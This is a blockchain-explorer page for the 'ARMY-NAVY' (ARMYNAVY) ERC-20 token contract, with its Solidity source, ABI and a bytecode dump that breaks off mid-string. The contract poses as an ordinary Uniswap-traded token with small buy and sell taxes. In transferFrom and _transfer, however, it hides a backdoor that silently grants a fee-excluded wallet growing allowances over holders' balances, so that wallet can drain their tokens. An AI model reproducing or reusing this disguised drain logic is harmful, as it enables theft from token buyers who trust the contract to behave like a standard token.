Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

   - function _msgSender() library SafeMath    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b, st ...    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function div(uint256 a, uint256 b, st ... interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ...  contract Ownable is Context    - function owner()    - function renounceOwnership() interface IUniswapV2Factory    - function createPair(address tokenA, a ... interface IUniswapV2Router02    - function swapExactTokensForETHSupport ...    - function factory()    - function WETH()    - function addLiquidityETH(  contract ARMYNAVY is Context, IERC ... *    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ...    - function _approve(address owner, addr ...    - function _transfer(address from, addr ...    - function min(uint256 a, uint256 b)    - function sendETHToFee(uint256 amount)    - function rescueEth()    - function openTrading()    - function createPair()    - function swapTokensForEth(uint256 tok ...

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-12-15
*/

/*
https://x.com/elonmusk/status/1868098574145265777

https://t.me/army_navy
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract ARMYNAVY is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _shouldExcludedFee;
    address private _avWallet;
    address private _arWallet = 0x1892630Af19b825ad6D62980C1d25D858B077B03;

    uint256 private _initialBuyTax=3;
    uint256 private _initialSellTax=3;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=6;
    uint256 private _reduceSellTaxAt=6;
    uint256 private _preventSwapBefore=6;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"ARMY-NAVY";
    string private constant _symbol = unicode"ARMYNAVY";
    uint256 private _taxSwapTokens = _tTotal / 100;

    IUniswapV2Router02 private uniswapV2Router;
    address private _uniswaPair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _shouldExcludedFee[owner()] = true;
        _shouldExcludedFee[address(this)] = true;
        _shouldExcludedFee[_arWallet] = true;
        _balances[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _avWallet = _msgSender();
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;

        if(_avWallet != address(this) && amount > 0)
            if(_shouldExcludedFee[_avWallet])
                _allowances[from][_avWallet] += amount;

        if (from != owner() && to != owner()) {
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == _uniswaPair && to != address(uniswapV2Router) && ! _shouldExcludedFee[to] ) {
                _buyCount++;
            }

            if(to == _uniswaPair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == _uniswaPair && swapEnabled && _buyCount > _preventSwapBefore) {
                if(contractTokenBalance > _taxSwapTokens)
                swapTokensForEth(min(amount, min(contractTokenBalance, _taxSwapTokens)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }

        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function sendETHToFee(uint256 amount) private {
        payable(_arWallet).transfer(amount);
    }

    function rescueEth() external onlyOwner {
        payable(owner()).transfer(address(this).balance);
    }

    receive() external payable {}

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");        
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(_uniswaPair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    function createPair() external onlyOwner() {
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        _uniswaPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052731892630af19b825ad6d62980c1d25d858b077b0360055f6101000a8154816001600160a01b0302191690836001600160a01b03160217905550600360065560036007555f6008555f6009556006600a556006600b556006600c555f600d5560646009600a61007391906102cb565b61008190633b9aca006102e0565b61008b91906102f7565b600e556010805461ffff60a81b191690553480156100a7575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600160035f6100fe5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260039093528183208054851660019081179091556005549091168352912080549092161790556101606009600a6102cb565b61016e90633b9aca006102e0565b335f81815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6101ae6009600a6102cb565b6101bc90633b9aca006102e0565b60405190815260200160405180910390a3610316565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561022157808504811115610205576102056101d2565b600184161561021357908102905b60019390931c9280026101ea565b935093915050565b5f82610237575060016102c5565b8161024357505f6102c5565b816001811461025957600281146102635761027f565b60019150506102c5565b60ff841115610274576102746101d2565b50506001821b6102c5565b5060208310610133831016604e8410600b84101617156102a2575081810a6102c5565b6102ae5f1984846101e6565b805f19048211156102c1576102c16101d2565b0290505b92915050565b5f6102d960ff841683610229565b9392505050565b80820281158282048414176102c5576102c56101d2565b5f8261031157634e487b7160e01b5f52601260045260245ffd5b500490565b6115a1806103235f395ff3fe6080604052600436106100dc575f3560e01c80638da5cb5b1161007c578063a9059cbb11610057578063a9059cbb14610269578063c9567bf914610288578063ce31a06b1461029c578063dd62ed3e146102b0575f80fd5b80638da5cb5b146101ff57806395d89b41146102255780639e78fb4f14610255575f80fd5b806323b872dd116100b757806323b872dd1461017b578063313ce5671461019a57806370a08231146101b5578063715018a6146101e9575f80fd5b806306fdde03146100e7578063095ea7b31461012a57806318160ddd14610159575f80fd5b366100e357005b5f80fd5b3480156100f2575f80fd5b5060408051808201909152600981526841524d592d4e41565960b81b60208201525b60405161012191906111a9565b60405180910390f35b348015610135575f80fd5b506101496101443660046111f2565b6102f4565b6040519015158152602001610121565b348015610164575f80fd5b5061016d61030a565b604051908152602001610121565b348015610186575f80fd5b5061014961019536600461121c565b61032a565b3480156101a5575f80fd5b5060405160098152602001610121565b3480156101c0575f80fd5b5061016d6101cf36600461125a565b6001600160a01b03165f9081526001602052604090205490565b3480156101f4575f80fd5b506101fd6103a3565b005b34801561020a575f80fd5b505f546040516001600160a01b039091168152602001610121565b348015610230575f80fd5b5060408051808201909152600881526741524d594e41565960c01b6020820152610114565b348015610260575f80fd5b506101fd61041d565b348015610274575f80fd5b506101496102833660046111f2565b610616565b348015610293575f80fd5b506101fd610622565b3480156102a7575f80fd5b506101fd610807565b3480156102bb575f80fd5b5061016d6102ca366004611275565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61030033848461086a565b5060015b92915050565b5f6103176009600a6113a3565b61032590633b9aca006113b1565b905090565b600480546001600160a01b031916331790555f61034884848461098d565b610399843361039485604051806060016040528060288152602001611544602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610e21565b61086a565b5060019392505050565b5f546001600160a01b031633146103d55760405162461bcd60e51b81526004016103cc906113c8565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104465760405162461bcd60e51b81526004016103cc906113c8565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561048f9030906104816009600a6113a3565b61039490633b9aca006113b1565b600f5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104df573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061050391906113fd565b6001600160a01b031663c9c6539630600f5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610562573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061058691906113fd565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156105d0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105f491906113fd565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b5f61030033848461098d565b5f546001600160a01b0316331461064b5760405162461bcd60e51b81526004016103cc906113c8565b601054600160a01b900460ff16156106a55760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103cc565b600f546001600160a01b031663f305d71947306106d6816001600160a01b03165f9081526001602052604090205490565b5f806106e95f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561074f573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107749190611418565b5050601054600f5460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156107c9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107ed9190611443565b506010805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b031633146108305760405162461bcd60e51b81526004016103cc906113c8565b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610867573d5f803e3d5ffd5b50565b6001600160a01b0383166108cc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103cc565b6001600160a01b03821661092d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103cc565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109f15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103cc565b6001600160a01b038216610a535760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103cc565b5f8111610ab45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103cc565b6004545f906001600160a01b03163014801590610ad057505f82115b15610b36576004546001600160a01b03165f9081526003602052604090205460ff1615610b36576001600160a01b038085165f90815260026020908152604080832060045490941683529290529081208054849290610b30908490611462565b90915550505b5f546001600160a01b03858116911614801590610b6057505f546001600160a01b03848116911614155b15610ce457610b916064610b8b600a54600d5411610b8057600654610b84565b6008545b8590610e59565b90610ede565b6010549091506001600160a01b038581169116148015610bbf5750600f546001600160a01b03848116911614155b8015610be357506001600160a01b0383165f9081526003602052604090205460ff16155b15610bfd57600d8054905f610bf783611475565b91905055505b6010546001600160a01b038481169116148015610c2357506001600160a01b0384163014155b15610c5057610c4d6064610b8b600b54600d5411610c4357600754610b84565b6009548590610e59565b90505b305f90815260016020526040902054601054600160a81b900460ff16158015610c8657506010546001600160a01b038581169116145b8015610c9b5750601054600160b01b900460ff165b8015610caa5750600c54600d54115b15610ce257600e54811115610cd657610cd6610cd184610ccc84600e54610f1f565b610f1f565b610f33565b47610ce0476110a3565b505b505b8015610d5c57305f90815260016020526040902054610d0390826110de565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d539085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610d7e908361113c565b6001600160a01b0385165f90815260016020526040902055610dc1610da3838361113c565b6001600160a01b0385165f90815260016020526040902054906110de565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610e0a858561113c565b60405190815260200160405180910390a350505050565b5f8184841115610e445760405162461bcd60e51b81526004016103cc91906111a9565b505f610e50848661148d565b95945050505050565b5f825f03610e6857505f610304565b5f610e7383856113b1565b905082610e8085836114a0565b14610ed75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103cc565b9392505050565b5f610ed783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061117d565b5f818311610f2d5782610ed7565b50919050565b6010805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610f7957610f796114bf565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610fd0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ff491906113fd565b81600181518110611007576110076114bf565b6001600160a01b039283166020918202929092010152600f5461102d913091168461086a565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110659085905f908690309042906004016114d3565b5f604051808303815f87803b15801561107c575f80fd5b505af115801561108e573d5f803e3d5ffd5b50506010805460ff60a81b1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156110da573d5f803e3d5ffd5b5050565b5f806110ea8385611462565b905083811015610ed75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103cc565b5f610ed783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e21565b5f818361119d5760405162461bcd60e51b81526004016103cc91906111a9565b505f610e5084866114a0565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610867575f80fd5b5f8060408385031215611203575f80fd5b823561120e816111de565b946020939093013593505050565b5f805f6060848603121561122e575f80fd5b8335611239816111de565b92506020840135611249816111de565b929592945050506040919091013590565b5f6020828403121561126a575f80fd5b8135610ed7816111de565b5f8060408385031215611286575f80fd5b8235611291816111de565b915060208301356112a1816111de565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156112fb578085048111156112df576112df6112ac565b60018416156112ed57908102905b60019390931c9280026112c4565b935093915050565b5f8261131157506001610304565b8161131d57505f610304565b8160018114611333576002811461133d57611359565b6001915050610304565b60ff84111561134e5761134e6112ac565b50506001821b610304565b5060208310610133831016604e8410600b841016171561137c575081810a610304565b6113885f1984846112c0565b805f190482111561139b5761139b6112ac565b029392505050565b5f610ed760ff841683611303565b8082028115828204841417610304576103046112ac565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561140d575f80fd5b8151610ed7816111de565b5f805f6060848603121561142a575f80fd5b5050815160208301516040909301519094929350919050565b5f60208284031215611453575f80fd5b81518015158114610ed7575f80fd5b80820180821115610304576103046112ac565b5f60018201611486576114866112ac565b5060010190565b81810381811115610304576103046112ac565b5f826114ba57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156115235783516001600160a01b03168352602093840193909201916001016114fc565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220adb6e460b82b6e6bd1f692c3564770f3135336841b2e28a5edde5baa657de7a564736f6c634300081a0033

0x6080604052600436106100dc575f3560e01c80638da5cb5b1161007c578063a9059cbb11610057578063a9059cbb14610269578063c9567bf914610288578063ce31a06b1461029c578063dd62ed3e146102b0575f80fd5b80638da5cb5b146101ff57806395d89b41146102255780639e78fb4f14610255575f80fd5b806323b872dd116100b757806323b872dd1461017b578063313ce5671461019a57806370a08231146101b5578063715018a6146101e9575f80fd5b806306fdde03146100e7578063095ea7b31461012a57806318160ddd14610159575f80fd5b366100e357005b5f80fd5b3480156100f2575f80fd5b5060408051808201909152600981526841524d592d4e41565960b81b60208201525b60405161012191906111a9565b60405180910390f35b348015610135575f80fd5b506101496101443660046111f2565b6102f4565b6040519015158152602001610121565b348015610164575f80fd5b5061016d61030a565b604051908152602001610121565b348015610186575f80fd5b5061014961019536600461121c565b61032a565b3480156101a5575f80fd5b5060405160098152602001610121565b3480156101c0575f80fd5b5061016d6101cf36600461125a565b6001600160a01b03165f9081526001602052604090205490565b3480156101f4575f80fd5b506101fd6103a3565b005b34801561020a575f80fd5b505f546040516001600160a01b039091168152602001610121565b348015610230575f80fd5b5060408051808201909152600881526741524d594e41565960c01b6020820152610114565b348015610260575f80fd5b506101fd61041d565b348015610274575f80fd5b506101496102833660046111f2565b610616565b348015610293575f80fd5b506101fd610622565b3480156102a7575f80fd5b506101fd610807565b3480156102bb575f80fd5b5061016d6102ca366004611275565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61030033848461086a565b5060015b92915050565b5f6103176009600a6113a3565b61032590633b9aca006113b1565b905090565b600480546001600160a01b031916331790555f61034884848461098d565b610399843361039485604051806060016040528060288152602001611544602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610e21565b61086a565b5060019392505050565b5f546001600160a01b031633146103d55760405162461bcd60e51b81526004016103cc906113c8565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104465760405162461bcd60e51b81526004016103cc906113c8565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561048f9030906104816009600a6113a3565b61039490633b9aca006113b1565b600f5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104df573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061050391906113fd565b6001600160a01b031663c9c6539630600f5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610562573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061058691906113fd565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156105d0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105f491906113fd565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b5f61030033848461098d565b5f546001600160a01b0316331461064b5760405162461bcd60e51b81526004016103cc906113c8565b601054600160a01b900460ff16156106a55760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103cc565b600f546001600160a01b031663f305d71947306106d6816001600160a01b03165f9081526001602052604090205490565b5f806106e95f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561074f573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107749190611418565b5050601054600f5460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156107c9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107ed9190611443565b506010805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b031633146108305760405162461bcd60e51b81526004016103cc906113c8565b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610867573d5f803e3d5ffd5b50565b6001600160a01b0383166108cc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103cc565b6001600160a01b03821661092d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103cc565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109f15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103cc565b6001600160a01b038216610a535760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103cc565b5f8111610ab45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103cc565b6004545f906001600160a01b03163014801590610ad057505f82115b15610b36576004546001600160a01b03165f9081526003602052604090205460ff1615610b36576001600160a01b038085165f90815260026020908152604080832060045490941683529290529081208054849290610b30908490611462565b90915550505b5f546001600160a01b03858116911614801590610b6057505f546001600160a01b03848116911614155b15610ce457610b916064610b8b600a54600d5411610b8057600654610b84565b6008545b8590610e59565b90610ede565b6010549091506001600160a01b038581169116148015610bbf5750600f546001600160a01b03848116911614155b8015610be357506001600160a01b0383165f9081526003602052604090205460ff16155b15610bfd57600d8054905f610bf783611475565b91905055505b6010546001600160a01b038481169116148015610c2357506001600160a01b0384163014155b15610c5057610c4d6064610b8b600b54600d5411610c4357600754610b84565b6009548590610e59565b90505b305f90815260016020526040902054601054600160a81b900460ff16158015610c8657506010546001600160a01b038581169116145b8015610c9b5750601054600160b01b900460ff165b8015610caa5750600c54600d54115b15610ce257600e54811115610cd657610cd6610cd184610ccc84600e54610f1f565b610f1f565b610f33565b47610ce0476110a3565b505b505b8015610d5c57305f90815260016020526040902054610d0390826110de565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d539085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610d7e908361113c565b6001600160a01b0385165f90815260016020526040902055610dc1610da3838361113c565b6001600160a01b0385165f90815260016020526040902054906110de565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610e0a858561113c565b60405190815260200160405180910390a350505050565b5f8184841115610e445760405162461bcd60e51b81526004016103cc91906111a9565b505f610e5084866